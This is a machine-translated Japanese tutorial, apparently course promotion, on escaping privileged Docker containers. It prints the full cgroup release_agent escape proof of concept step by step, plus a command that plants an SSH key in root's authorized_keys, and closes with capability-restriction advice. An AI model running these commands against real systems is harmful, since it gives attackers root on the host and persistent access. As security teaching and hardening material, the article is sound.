特権Dockerコンテナからの脱出

記事の翻訳は、コース「ペンテスト」の開始前夜に作成されました浸透試験の実践 "








Docker特権コンテナーは、フラグを付けて実行されるコンテナーです--privileged通常のコンテナとは異なり、これらのコンテナはホストマシンへのルートアクセス権を持っています。



特権コンテナは、タスクを実行するためにタスクがハードウェアに直接アクセスする必要がある場合によく使用されます。ただし、特権Dockerコンテナを使用すると、攻撃者がホストシステムを乗っ取ることができます。今日は、特権コンテナを終了する方法を説明します。



脆弱なコンテナを検索する



特権コンテナ内にいることをどのように判断できますか?



自分がコンテナに入っていることをどうやって知るのですか?



Cgroupsコントロールグループの略です。このLinux機能はリソースの使用を分離し、Dockerがコンテナを分離するために使用するものです。のinitプロセスのcgroupを確認することで、コンテナ内にいるかどうかを確認できます/proc/1/cgroupコンテナ内にいない場合、コントロールグループは/になります。繰り返しますが、コンテナ内にいる場合は、代わりにが表示され/docker/CONTAINER_IDます。



コンテナに特権があるかどうかはどうやってわかりますか?



コンテナ内にいると判断したら、それが特権を持っているかどうかを理解する必要があります。これを行う最良の方法は、フラグが必要なコマンドを実行して、--privilegedそれが機能するかどうかを確認することです。



たとえばdummy、コマンドを使用してインターフェイスを追加してみることができますiproute2このコマンドNET_ADMINは、特権がある場合、コンテナが持っているへのアクセスを必要とします



$ ip link add dummy0 type dummy


コマンドが成功した場合、コンテナには機能があると結論付けることができますNET_ADMINそしてNET_ADMIN今度は、それは特権のある一連の機能の一部であり、それを持たないコンテナーには特権がありません。dummy0このテストの後、次のコマンドを使用してリンクを削除できます



ip link delete dummy0


コンテナからの脱出



では、どのようにして特権コンテナの外に出ますか?次のスクリプトは、ここで役立ちます。この例と概念の証明は、Trail ofBitsブログから引用したものです。概念をさらに深く掘り下げるには、元の記事を読んでください。



mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
echo 1 > /tmp/cgrp/x/notify_on_release
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
echo "$host_path/cmd" > /tmp/cgrp/release_agent
echo '#!/bin/sh' > /cmd
echo "ps aux > $host_path/output" >> /cmd
chmod a+x /cmd
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"


この概念の証明は、release_agentからの関数使用しますcgroup



最後のプロセスがで終了した後、cgroup終了した作業を削除するコマンドが実行されますcgroupsこのコマンドはファイルで指定release_agentされroot、ホストコンピューターと同様実行されます。デフォルトでは、この機能は無効になっており、パスrelease_agentは空です。



このエクスプロイトは、ファイルを介してコードを実行しますrelease_agentを作成しcgroup、そのファイルrelease_agent指定して開始しrelease_agent、のすべてのプロセスを強制終了する必要がありますcgroup仮説テストの最初の行は、新しいグループを作成します。



mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x


以下に機能が含まれていますrelease_agent



echo 1 > /tmp/cgrp/x/notify_on_release


さらに次の数行で、ファイルへのパスが登録されrelease_agentます。



host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
echo "$host_path/cmd" > /tmp/cgrp/release_agent


次に、コマンドファイルへの書き込みを開始できます。このスクリプトはコマンドを実行ps auxし、ファイルに保存します/outputスクリプトのアクセスビットも設定する必要があります。



echo '#!/bin/sh' > /cmd
echo "ps aux > $host_path/output" >> /cmd
chmod a+x /cmd


最後に、作成したcgroupですぐに終了するプロセスを生成して、攻撃を開始します。スクリプトrelease_agentは、プロセスの完了後に実行されます。これps auxで、ホストマシンの出力をファイルで読み取ることができます/output



sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"


この概念を使用して、ホストシステムで必要なコマンドを実行できます。たとえば、これを使用してSSHキーをauthorized_keysrootユーザーファイルに書き込むことができます



cat id_dsa.pub >> /root/.ssh/authorized_keys




攻撃の防止



この攻撃をどのように防ぐことができますか?コンテナにホストシステムへのフルアクセスを許可するのではなく、必要な権限のみを付与する必要があります。



Dockerの機能により、開発者はコンテナに権限を選択的に付与できます。通常はルートaccessパッケージ化されている権限を個別のコンポーネントに分割することが可能になります。



デフォルトでは、Dockerはコンテナからすべての権限を取得し、それらを追加する必要があります。cap-dropおよびフラグを使用してアクセス許可を削除または追加できcap-addます。



--cap-drop=all
--cap-add=LIST_OF_CAPABILITIES


たとえば、コンテナを与える代わりに、1024未満のポートに接続する必要がある場合は、コンテナroot accessをそのままにしNET_BIND_SERVICEます。このフラグは、コンテナに必要な権限を与えます。



--cap-add NET_BIND_SERVICE


結論



可能な限り、フラグ付きのDockerコンテナを実行しないでください--privileged特権コンテナを使用すると、攻撃者はコンテナを終了してホストシステムにアクセスできるようになります。代わりに、フラグを使用してコンテナに個別に許可を与え--cap-addます。



続きを読む








コースの詳細をご覧ください。







All Articles